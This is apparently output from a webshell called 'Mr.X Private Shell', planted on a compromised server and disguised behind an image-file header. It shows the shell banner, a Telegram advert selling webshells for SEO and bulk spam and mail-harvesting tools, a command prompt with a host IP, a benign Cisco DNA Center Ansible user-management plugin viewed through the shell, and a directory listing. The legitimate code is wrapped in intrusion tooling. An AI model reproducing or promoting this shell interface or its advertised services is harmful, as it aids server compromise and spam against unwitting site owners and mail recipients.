����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-

# Copyright (c) 2021, Cisco Systems
# GNU General Public License v3.0+ (see LICENSE or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
from ansible.plugins.action import ActionBase
try:
    from ansible_collections.ansible.utils.plugins.module_utils.common.argspec_validate import (
        AnsibleArgSpecValidator,
    )
except ImportError:
    ANSIBLE_UTILS_IS_INSTALLED = False
else:
    ANSIBLE_UTILS_IS_INSTALLED = True
from ansible.errors import AnsibleActionFail
from ansible_collections.cisco.dnac.plugins.plugin_utils.dnac import (
    DNACSDK,
    dnac_argument_spec,
    dnac_compare_equality,
    get_dict_result,
)
from ansible_collections.cisco.dnac.plugins.plugin_utils.exceptions import (
    InconsistentParameters,
)

# Get common arguments specification
argument_spec = dnac_argument_spec()
# Add arguments specific for this module
argument_spec.update(dict(
    state=dict(type="str", default="present", choices=["present"]),
    firstName=dict(type="str"),
    lastName=dict(type="str"),
    username=dict(type="str"),
    password=dict(type="str", no_log=True),
    email=dict(type="str"),
    roleList=dict(type="list"),
    userId=dict(type="str"),
))

required_if = [
]
required_one_of = []
mutually_exclusive = []
required_together = []


class User(object):
    def __init__(self, params, dnac):
        self.dnac = dnac
        self.new_object = dict(
            firstName=params.get("firstName"),
            lastName=params.get("lastName"),
            username=params.get("username"),
            password=params.get("password"),
            email=params.get("email"),
            roleList=params.get("roleList"),
            userId=params.get("userId"),
        )

    def get_all_params(self, name=None, id=None):
        new_object_params = {}
        new_object_params['invoke_source'] = self.new_object.get('invokeSource') or \
            self.new_object.get('invoke_source')
        return new_object_params

    def create_params(self):
        new_object_params = {}
        new_object_params['firstName'] = self.new_object.get('firstName')
        new_object_params['lastName'] = self.new_object.get('lastName')
        new_object_params['username'] = self.new_object.get('username')
        new_object_params['password'] = self.new_object.get('password')
        new_object_params['email'] = self.new_object.get('email')
        new_object_params['roleList'] = self.new_object.get('roleList')
        return new_object_params

    def update_all_params(self):
        new_object_params = {}
        new_object_params['firstName'] = self.new_object.get('firstName')
        new_object_params['lastName'] = self.new_object.get('lastName')
        new_object_params['email'] = self.new_object.get('email')
        new_object_params['username'] = self.new_object.get('username')
        new_object_params['userId'] = self.new_object.get('userId')
        new_object_params['roleList'] = self.new_object.get('roleList')
        return new_object_params

    def get_object_by_name(self, name):
        result = None
        # NOTE: Does not have a get by name method, using get all
        try:
            items = self.dnac.exec(
                family="userand_roles",
                function="get_users_ap_i",
                params=self.get_all_params(name=name),
            )
            if isinstance(items, dict):
                if 'response' in items:
                    items = items.get('response')
            result = get_dict_result(items, 'name', name)
        except Exception:
            result = None
        return result

    def get_object_by_id(self, id):
        result = None
        # NOTE: Does not have a get by id method or it is in another action
        return result

    def exists(self):
        prev_obj = None
        id_exists = False
        name_exists = False
        o_id = self.new_object.get("id")
        name = self.new_object.get("name")
        if o_id:
            prev_obj = self.get_object_by_id(o_id)
            id_exists = prev_obj is not None and isinstance(prev_obj, dict)
        if not id_exists and name:
            prev_obj = self.get_object_by_name(name)
            name_exists = prev_obj is not None and isinstance(prev_obj, dict)
        if name_exists:
            _id = prev_obj.get("id")
            if id_exists and name_exists and o_id != _id:
                raise InconsistentParameters("The 'id' and 'name' params don't refer to the same object")
            if _id:
                self.new_object.update(dict(id=_id))
        it_exists = prev_obj is not None and isinstance(prev_obj, dict)
        return (it_exists, prev_obj)

    def requires_update(self, current_obj):
        requested_obj = self.new_object

        obj_params = [
            ("firstName", "firstName"),
            ("lastName", "lastName"),
            ("username", "username"),
            ("email", "email"),
            ("roleList", "roleList"),
            ("userId", "userId"),
        ]
        # Method 1. Params present in request (Ansible) obj are the same as the current (ISE) params
        # If any does not have eq params, it requires update
        return any(not dnac_compare_equality(current_obj.get(dnac_param),
                                             requested_obj.get(ansible_param))
                   for (dnac_param, ansible_param) in obj_params)

    def create(self):
        result = self.dnac.exec(
            family="userand_roles",
            function="add_user_ap_i",
            params=self.create_params(),
            op_modifies=True,
        )
        return result

    def update(self):
        id = self.new_object.get("id")
        name = self.new_object.get("name")
        result = None
        result = self.dnac.exec(
            family="userand_roles",
            function="update_user_ap_i",
            params=self.update_all_params(),
            op_modifies=True,
        )
        return result


class ActionModule(ActionBase):
    def __init__(self, *args, **kwargs):
        if not ANSIBLE_UTILS_IS_INSTALLED:
            raise AnsibleActionFail("ansible.utils is not installed. Execute 'ansible-galaxy collection install ansible.utils'")
        super(ActionModule, self).__init__(*args, **kwargs)
        self._supports_async = False
        self._supports_check_mode = False
        self._result = None

    # Checks the supplied parameters against the argument spec for this module
    def _check_argspec(self):
        aav = AnsibleArgSpecValidator(
            data=self._task.args,
            schema=dict(argument_spec=argument_spec),
            schema_format="argspec",
            schema_conditionals=dict(
                required_if=required_if,
                required_one_of=required_one_of,
                mutually_exclusive=mutually_exclusive,
                required_together=required_together,
            ),
            name=self._task.action,
        )
        valid, errors, self._task.args = aav.validate()
        if not valid:
            raise AnsibleActionFail(errors)

    def run(self, tmp=None, task_vars=None):
        self._task.diff = False
        self._result = super(ActionModule, self).run(tmp, task_vars)
        self._result["changed"] = False
        self._check_argspec()

        dnac = DNACSDK(self._task.args)
        obj = User(self._task.args, dnac)

        state = self._task.args.get("state")

        response = None
        if state == "present":
            (obj_exists, prev_obj) = obj.exists()
            if obj_exists:
                if obj.requires_update(prev_obj):
                    response = obj.update()
                    dnac.object_updated()
                else:
                    response = prev_obj
                    dnac.object_already_present()
            else:
                response = obj.create()
                dnac.object_created()

        self._result.update(dict(dnac_response=response))
        self._result.update(dnac.exit_json())
        return self._result

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
accesspoint_configuration_details_by_task_id_info.py File 3.31 KB 0644
app_policy_default_info.py File 2.77 KB 0644
app_policy_info.py File 2.85 KB 0644
app_policy_intent_create.py File 2.92 KB 0644
app_policy_queuing_profile.py File 9.18 KB 0644
app_policy_queuing_profile_count_info.py File 2.79 KB 0644
app_policy_queuing_profile_info.py File 2.84 KB 0644
application_sets.py File 7.81 KB 0644
application_sets_count_info.py File 2.77 KB 0644
application_sets_info.py File 2.96 KB 0644
applications.py File 8.69 KB 0644
applications_count_info.py File 2.76 KB 0644
applications_health_info.py File 3.46 KB 0644
applications_info.py File 2.95 KB 0644
assign_device_to_site.py File 2.87 KB 0644
associate_site_to_network_profile.py File 2.82 KB 0644
authentication_import_certificate.py File 3.16 KB 0644
authentication_import_certificate_p12.py File 3.1 KB 0644
authentication_policy_servers_info.py File 2.99 KB 0644
buildings_planned_access_points_info.py File 3.05 KB 0644
business_sda_hostonboarding_ssid_ippool.py File 7.21 KB 0644
business_sda_hostonboarding_ssid_ippool_info.py File 2.94 KB 0644
business_sda_virtual_network_summary_info.py File 2.86 KB 0644
business_sda_wireless_controller_create.py File 2.85 KB 0644
business_sda_wireless_controller_delete.py File 2.74 KB 0644
cli_credential.py File 8.66 KB 0644
client_detail_info.py File 2.91 KB 0644
client_enrichment_details_info.py File 2.76 KB 0644
client_health_info.py File 2.83 KB 0644
client_proximity_info.py File 3 KB 0644
command_runner_run_command.py File 3.05 KB 0644
compliance_check_run.py File 2.9 KB 0644
compliance_device_by_id_info.py File 3.21 KB 0644
compliance_device_details_count_info.py File 2.95 KB 0644
compliance_device_details_info.py File 3.16 KB 0644
compliance_device_info.py File 3.51 KB 0644
compliance_device_status_count_info.py File 2.86 KB 0644
configuration_template.py File 14.86 KB 0644
configuration_template_clone.py File 2.9 KB 0644
configuration_template_create.py File 4.98 KB 0644
configuration_template_deploy.py File 3.24 KB 0644
configuration_template_deploy_status_info.py File 3.34 KB 0644
configuration_template_deploy_v2.py File 3.24 KB 0644
configuration_template_export_project.py File 2.74 KB 0644
configuration_template_export_template.py File 2.74 KB 0644
configuration_template_import_project.py File 2.76 KB 0644
configuration_template_import_template.py File 2.92 KB 0644
configuration_template_info.py File 4.37 KB 0644
configuration_template_project.py File 10.18 KB 0644
configuration_template_project_info.py File 3.43 KB 0644
configuration_template_version_create.py File 2.82 KB 0644
configuration_template_version_info.py File 3.32 KB 0644
credential_to_site_by_siteid_create_v2.py File 3.22 KB 0644
device_configurations_export.py File 2.84 KB 0644
device_credential_create.py File 2.75 KB 0644
device_credential_delete.py File 2.7 KB 0644
device_credential_info.py File 2.84 KB 0644
device_credential_update.py File 2.75 KB 0644
device_details_info.py File 2.98 KB 0644
device_enrichment_details_info.py File 2.76 KB 0644
device_family_identifiers_details_info.py File 2.78 KB 0644
device_health_info.py File 3.24 KB 0644
device_interface_by_ip_info.py File 3.3 KB 0644
device_interface_count_info.py File 2.76 KB 0644
device_interface_info.py File 3.55 KB 0644
device_interface_isis_info.py File 2.75 KB 0644
device_interface_ospf_info.py File 2.75 KB 0644
device_reboot_apreboot_info.py File 2.85 KB 0644
device_replacement.py File 9.24 KB 0644
device_replacement_count_info.py File 2.88 KB 0644
device_replacement_deploy.py File 2.94 KB 0644
device_replacement_info.py File 3.83 KB 0644
disassociate_site_to_network_profile.py File 2.79 KB 0644
disasterrecovery_system_operationstatus_info.py File 2.92 KB 0644
disasterrecovery_system_status_info.py File 2.91 KB 0644
discovery.py File 19.13 KB 0644
discovery_count_info.py File 2.76 KB 0644
discovery_device_count_info.py File 2.89 KB 0644
discovery_device_info.py File 2.9 KB 0644
discovery_device_range_info.py File 3.07 KB 0644
discovery_info.py File 3.27 KB 0644
discovery_job_info.py File 3.54 KB 0644
discovery_range_delete.py File 2.82 KB 0644
discovery_range_info.py File 2.93 KB 0644
discovery_summary_info.py File 3.54 KB 0644
dna_command_runner_keywords_info.py File 2.77 KB 0644
dnac_packages_info.py File 2.76 KB 0644
dnacaap_management_execution_status_info.py File 3.32 KB 0644
endpoint_analytics_profiling_rules.py File 12.77 KB 0644
endpoint_analytics_profiling_rules_info.py File 3.85 KB 0644
eox_status_device_info.py File 3.27 KB 0644
eox_status_summary_info.py File 2.74 KB 0644
event_api_status_info.py File 3.32 KB 0644
event_artifact_count_info.py File 2.76 KB 0644
event_artifact_info.py File 3.23 KB 0644
event_config_connector_types_info.py File 2.76 KB 0644
event_count_info.py File 2.89 KB 0644
event_email_config.py File 8 KB 0644
event_email_config_create.py File 3.19 KB 0644
event_email_config_info.py File 2.76 KB 0644
event_email_config_update.py File 3.19 KB 0644
event_info.py File 3.15 KB 0644
event_series_audit_logs_info.py File 4.41 KB 0644
event_series_audit_logs_parent_records_info.py File 4.32 KB 0644
event_series_audit_logs_summary_info.py File 4.23 KB 0644
event_series_count_info.py File 3.41 KB 0644
event_series_info.py File 3.89 KB 0644
event_snmp_config_info.py File 3.1 KB 0644
event_subscription.py File 9.21 KB 0644
event_subscription_count_info.py File 2.84 KB 0644
event_subscription_details_email_info.py File 3.18 KB 0644
event_subscription_details_rest_info.py File 3.19 KB 0644
event_subscription_details_syslog_info.py File 3.18 KB 0644
event_subscription_email.py File 8.16 KB 0644
event_subscription_email_info.py File 3.46 KB 0644
event_subscription_info.py File 3.11 KB 0644
event_subscription_rest.py File 8.17 KB 0644
event_subscription_rest_info.py File 3.46 KB 0644
event_subscription_syslog.py File 8.16 KB 0644
event_subscription_syslog_info.py File 3.46 KB 0644
event_syslog_config.py File 8.33 KB 0644
event_syslog_config_info.py File 3.24 KB 0644
event_webhook_create.py File 3.17 KB 0644
event_webhook_update.py File 3.17 KB 0644
execute_suggested_actions_commands.py File 2.84 KB 0644
file_import.py File 2.8 KB 0644
file_info.py File 3.78 KB 0644
file_namespace_files_info.py File 3.3 KB 0644
file_namespaces_info.py File 2.76 KB 0644
global_credential_delete.py File 2.75 KB 0644
global_credential_info.py File 3.5 KB 0644
global_credential_update.py File 2.85 KB 0644
global_credential_v2.py File 9.48 KB 0644
global_credential_v2_info.py File 2.76 KB 0644
global_pool.py File 10.05 KB 0644
global_pool_info.py File 2.89 KB 0644
golden_image_create.py File 3.01 KB 0644
golden_tag_image_delete.py File 3 KB 0644
golden_tag_image_details_info.py File 3.59 KB 0644
http_read_credential.py File 8.83 KB 0644
http_write_credential.py File 8.83 KB 0644
integration_settings_instances_itsm.py File 9.11 KB 0644
integration_settings_instances_itsm_info.py File 3.33 KB 0644
interface_info.py File 2.85 KB 0644
interface_network_device_detail_info.py File 2.89 KB 0644
interface_network_device_info.py File 3.3 KB 0644
interface_network_device_range_info.py File 3.02 KB 0644
interface_operation_create.py File 2.99 KB 0644
interface_update.py File 3.16 KB 0644
issues_enrichment_details_info.py File 2.76 KB 0644
issues_info.py File 3.35 KB 0644
itsm_cmdb_sync_status_info.py File 2.88 KB 0644
itsm_integration_events_failed_info.py File 2.83 KB 0644
itsm_integration_events_retry.py File 2.73 KB 0644
lan_automation_count_info.py File 2.77 KB 0644
lan_automation_create.py File 2.74 KB 0644
lan_automation_delete.py File 2.69 KB 0644
lan_automation_log_by_serial_number_info.py File 3.46 KB 0644
lan_automation_log_info.py File 3.38 KB 0644
lan_automation_status_info.py File 3.39 KB 0644
license_device_count_info.py File 3.23 KB 0644
license_device_deregistration.py File 2.75 KB 0644
license_device_license_details_info.py File 2.84 KB 0644
license_device_license_summary_info.py File 3.6 KB 0644
license_device_registration.py File 2.86 KB 0644
license_smart_account_details_info.py File 2.75 KB 0644
license_term_details_info.py File 3.53 KB 0644
license_usage_details_info.py File 3.53 KB 0644
license_virtual_account_change.py File 2.96 KB 0644
license_virtual_account_details_info.py File 2.85 KB 0644
netconf_credential.py File 8.28 KB 0644
network_create.py File 2.88 KB 0644
network_device.py File 19.89 KB 0644
network_device_by_ip_info.py File 3.3 KB 0644
network_device_by_serial_number_info.py File 3.32 KB 0644
network_device_chassis_details_info.py File 2.84 KB 0644
network_device_config_count_info.py File 2.75 KB 0644
network_device_config_info.py File 3.3 KB 0644
network_device_count_info.py File 3.27 KB 0644
network_device_custom_prompt.py File 2.85 KB 0644
network_device_custom_prompt_info.py File 2.77 KB 0644
network_device_equipment_info.py File 2.93 KB 0644
network_device_export.py File 3.05 KB 0644
network_device_functional_capability_info.py File 3.42 KB 0644
network_device_global_polling_interval_info.py File 2.77 KB 0644
network_device_info.py File 6.21 KB 0644
network_device_interface_neighbor_info.py File 2.93 KB 0644
network_device_interface_poe_info.py File 2.94 KB 0644
network_device_inventory_insight_link_mismatch_info.py File 3.18 KB 0644
network_device_lexicographically_sorted_info.py File 4.63 KB 0644
network_device_linecard_details_info.py File 2.83 KB 0644
network_device_meraki_organization_info.py File 2.82 KB 0644
network_device_module_count_info.py File 3.24 KB 0644
network_device_module_info.py File 3.85 KB 0644
network_device_poe_info.py File 2.82 KB 0644
network_device_polling_interval_info.py File 2.81 KB 0644
network_device_range_info.py File 2.95 KB 0644
network_device_register_for_wsa_info.py File 2.94 KB 0644
network_device_stack_details_info.py File 2.83 KB 0644
network_device_summary_info.py File 2.81 KB 0644
network_device_supervisor_card_details_info.py File 2.84 KB 0644
network_device_sync.py File 2.82 KB 0644
network_device_update_role.py File 2.86 KB 0644
network_device_user_defined_field.py File 8.75 KB 0644
network_device_user_defined_field_info.py File 2.88 KB 0644
network_device_vlan_info.py File 2.9 KB 0644
network_device_wireless_lan_info.py File 2.83 KB 0644
network_device_with_snmp_v3_des_info.py File 3.1 KB 0644
network_info.py File 2.82 KB 0644
network_update.py File 2.81 KB 0644
network_v2.py File 7.28 KB 0644
network_v2_info.py File 2.82 KB 0644
nfv_profile.py File 8.23 KB 0644
nfv_profile_info.py File 3.47 KB 0644
nfv_provision.py File 2.9 KB 0644
nfv_provision_detail_info.py File 2.83 KB 0644
nfv_provision_details.py File 2.81 KB 0644
path_trace.py File 10.94 KB 0644
path_trace_info.py File 4.46 KB 0644
planned_access_points_info.py File 3.04 KB 0644
platform_nodes_configuration_summary_info.py File 2.77 KB 0644
platform_release_summary_info.py File 2.76 KB 0644
pnp_device.py File 13.78 KB 0644
pnp_device_authorize.py File 2.76 KB 0644
pnp_device_claim.py File 3.42 KB 0644
pnp_device_claim_to_site.py File 3.59 KB 0644
pnp_device_config_preview.py File 2.87 KB 0644
pnp_device_count_info.py File 3.87 KB 0644
pnp_device_history_info.py File 2.99 KB 0644
pnp_device_import.py File 2.75 KB 0644
pnp_device_info.py File 4.87 KB 0644
pnp_device_reset.py File 2.92 KB 0644
pnp_device_unclaim.py File 2.75 KB 0644
pnp_global_settings.py File 6.42 KB 0644
pnp_global_settings_info.py File 2.77 KB 0644
pnp_server_profile_update.py File 3.72 KB 0644
pnp_smart_account_domains_info.py File 2.77 KB 0644
pnp_virtual_account_add.py File 3.72 KB 0644
pnp_virtual_account_deregister.py File 2.78 KB 0644
pnp_virtual_account_devices_sync.py File 3.73 KB 0644
pnp_virtual_account_sync_result_info.py File 2.91 KB 0644
pnp_virtual_accounts_info.py File 2.84 KB 0644
pnp_workflow.py File 13.37 KB 0644
pnp_workflow_count_info.py File 2.83 KB 0644
pnp_workflow_info.py File 3.66 KB 0644
profiling_rules_count_info.py File 3.07 KB 0644
profiling_rules_in_bulk_create.py File 2.9 KB 0644
projects_details_info.py File 3.1 KB 0644
qos_device_interface.py File 9.3 KB 0644
qos_device_interface_info.py File 2.87 KB 0644
qos_device_interface_info_count_info.py File 2.78 KB 0644
reports.py File 9.26 KB 0644
reports_executions_info.py File 3.86 KB 0644
reports_info.py File 3.42 KB 0644
reports_view_group_info.py File 3.28 KB 0644
reports_view_group_view_info.py File 3.4 KB 0644
reserve_ip_subpool.py File 14.36 KB 0644
reserve_ip_subpool_create.py File 4.47 KB 0644
reserve_ip_subpool_delete.py File 2.7 KB 0644
reserve_ip_subpool_info.py File 2.96 KB 0644
reserve_ip_subpool_update.py File 4.03 KB 0644
role_permissions_info.py File 2.76 KB 0644
roles_info.py File 2.75 KB 0644
sda_count_info.py File 2.89 KB 0644
sda_device_info.py File 2.87 KB 0644
sda_device_role_info.py File 2.88 KB 0644
sda_fabric.py File 7.27 KB 0644
sda_fabric_authentication_profile.py File 8.77 KB 0644
sda_fabric_authentication_profile_info.py File 2.99 KB 0644
sda_fabric_border_device.py File 8.44 KB 0644
sda_fabric_border_device_info.py File 2.88 KB 0644
sda_fabric_control_plane_device.py File 8.1 KB 0644
sda_fabric_control_plane_device_info.py File 2.88 KB 0644
sda_fabric_edge_device.py File 7.76 KB 0644
sda_fabric_edge_device_info.py File 2.87 KB 0644
sda_fabric_info.py File 2.97 KB 0644
sda_fabric_site.py File 7.73 KB 0644
sda_fabric_site_info.py File 2.84 KB 0644
sda_multicast.py File 8.09 KB 0644
sda_multicast_info.py File 2.87 KB 0644
sda_port_assignment_for_access_point.py File 9.2 KB 0644
sda_port_assignment_for_access_point_info.py File 2.98 KB 0644
sda_port_assignment_for_user_device.py File 9.94 KB 0644
sda_port_assignment_for_user_device_info.py File 2.98 KB 0644
sda_provision_device.py File 8.41 KB 0644
sda_provision_device_info.py File 2.88 KB 0644
sda_virtual_network.py File 7.97 KB 0644
sda_virtual_network_info.py File 2.94 KB 0644
sda_virtual_network_ip_pool.py File 11.54 KB 0644
sda_virtual_network_ip_pool_info.py File 3.05 KB 0644
sda_virtual_network_v2.py File 9.01 KB 0644
sda_virtual_network_v2_info.py File 2.87 KB 0644
security_advisories_devices_info.py File 2.85 KB 0644
security_advisories_ids_per_device_info.py File 3.31 KB 0644
security_advisories_info.py File 2.76 KB 0644
security_advisories_per_device_info.py File 2.84 KB 0644
security_advisories_summary_info.py File 2.76 KB 0644
sensor.py File 7.77 KB 0644
sensor_info.py File 2.81 KB 0644
sensor_test_run.py File 2.74 KB 0644
sensor_test_template_duplicate.py File 2.85 KB 0644
sensor_test_template_edit.py File 2.92 KB 0644
service_provider_create.py File 2.74 KB 0644
service_provider_info.py File 2.77 KB 0644
service_provider_profile_delete.py File 2.73 KB 0644
service_provider_update.py File 2.74 KB 0644
service_provider_v2.py File 6.58 KB 0644
service_provider_v2_info.py File 2.77 KB 0644
site_assign_credential.py File 3.29 KB 0644
site_assign_device.py File 3.05 KB 0644
site_count_info.py File 2.81 KB 0644
site_create.py File 2.85 KB 0644
site_delete.py File 2.69 KB 0644
site_design_floormap.py File 8.39 KB 0644
site_design_floormap_info.py File 3.39 KB 0644
site_health_info.py File 3.03 KB 0644
site_info.py File 3.07 KB 0644
site_membership_info.py File 3.59 KB 0644
site_update.py File 2.92 KB 0644
snmp_properties.py File 7.03 KB 0644
snmp_properties_info.py File 2.75 KB 0644
snmpv2_read_community_credential.py File 7.95 KB 0644
snmpv2_write_community_credential.py File 7.97 KB 0644
snmpv3_credential.py File 9.32 KB 0644
sp_profile_delete_v2.py File 2.73 KB 0644
swim_image_details_info.py File 4.3 KB 0644
swim_import_local.py File 3.24 KB 0644
swim_import_via_url.py File 3.02 KB 0644
swim_trigger_activation.py File 2.94 KB 0644
swim_trigger_distribution.py File 2.77 KB 0644
syslog_config_create.py File 3.09 KB 0644
syslog_config_update.py File 3.09 KB 0644
system_health_count_info.py File 2.91 KB 0644
system_health_info.py File 3.11 KB 0644
system_performance_historical_info.py File 2.98 KB 0644
system_performance_info.py File 3.05 KB 0644
tag.py File 10.22 KB 0644
tag_count_info.py File 3.18 KB 0644
tag_info.py File 4.06 KB 0644
tag_member.py File 7.71 KB 0644
tag_member_count_info.py File 3.06 KB 0644
tag_member_info.py File 3.2 KB 0644
tag_member_type_info.py File 2.75 KB 0644
tag_membership.py File 2.9 KB 0644
task_count_info.py File 3.5 KB 0644
task_info.py File 4.26 KB 0644
task_operation_info.py File 3.44 KB 0644
task_tree_info.py File 2.81 KB 0644
template_preview.py File 2.99 KB 0644
templates_details_info.py File 4.22 KB 0644
threat_detail.py File 3.4 KB 0644
threat_detail_count.py File 3.4 KB 0644
threat_summary.py File 3.18 KB 0644
topology_layer_2_info.py File 3.29 KB 0644
topology_layer_3_info.py File 3.31 KB 0644
topology_network_health_info.py File 2.83 KB 0644
topology_physical_info.py File 2.83 KB 0644
topology_site_info.py File 2.75 KB 0644
topology_vlan_details_info.py File 2.75 KB 0644
transit_peer_network.py File 7.7 KB 0644
transit_peer_network_info.py File 2.87 KB 0644
user.py File 7.92 KB 0644
user_enrichment_details_info.py File 2.76 KB 0644
user_info.py File 2.84 KB 0644
users_external_servers_info.py File 2.86 KB 0644
wireless_accespoint_configuration.py File 4.95 KB 0644
wireless_accesspoint_configuration_summary_info.py File 2.82 KB 0644
wireless_dynamic_interface.py File 8.06 KB 0644
wireless_dynamic_interface_info.py File 2.84 KB 0644
wireless_enterprise_ssid.py File 14.96 KB 0644
wireless_enterprise_ssid_info.py File 2.83 KB 0644
wireless_profile.py File 8.7 KB 0644
wireless_profile_info.py File 2.84 KB 0644
wireless_provision_access_point.py File 2.8 KB 0644
wireless_provision_device_create.py File 2.72 KB 0644
wireless_provision_device_update.py File 2.8 KB 0644
wireless_provision_ssid_create_provision.py File 3.17 KB 0644
wireless_provision_ssid_delete_reprovision.py File 2.83 KB 0644
wireless_psk_override.py File 2.72 KB 0644
wireless_rf_profile.py File 10.22 KB 0644
wireless_rf_profile_info.py File 2.85 KB 0644
wireless_sensor_test_results_info.py File 3.06 KB 0644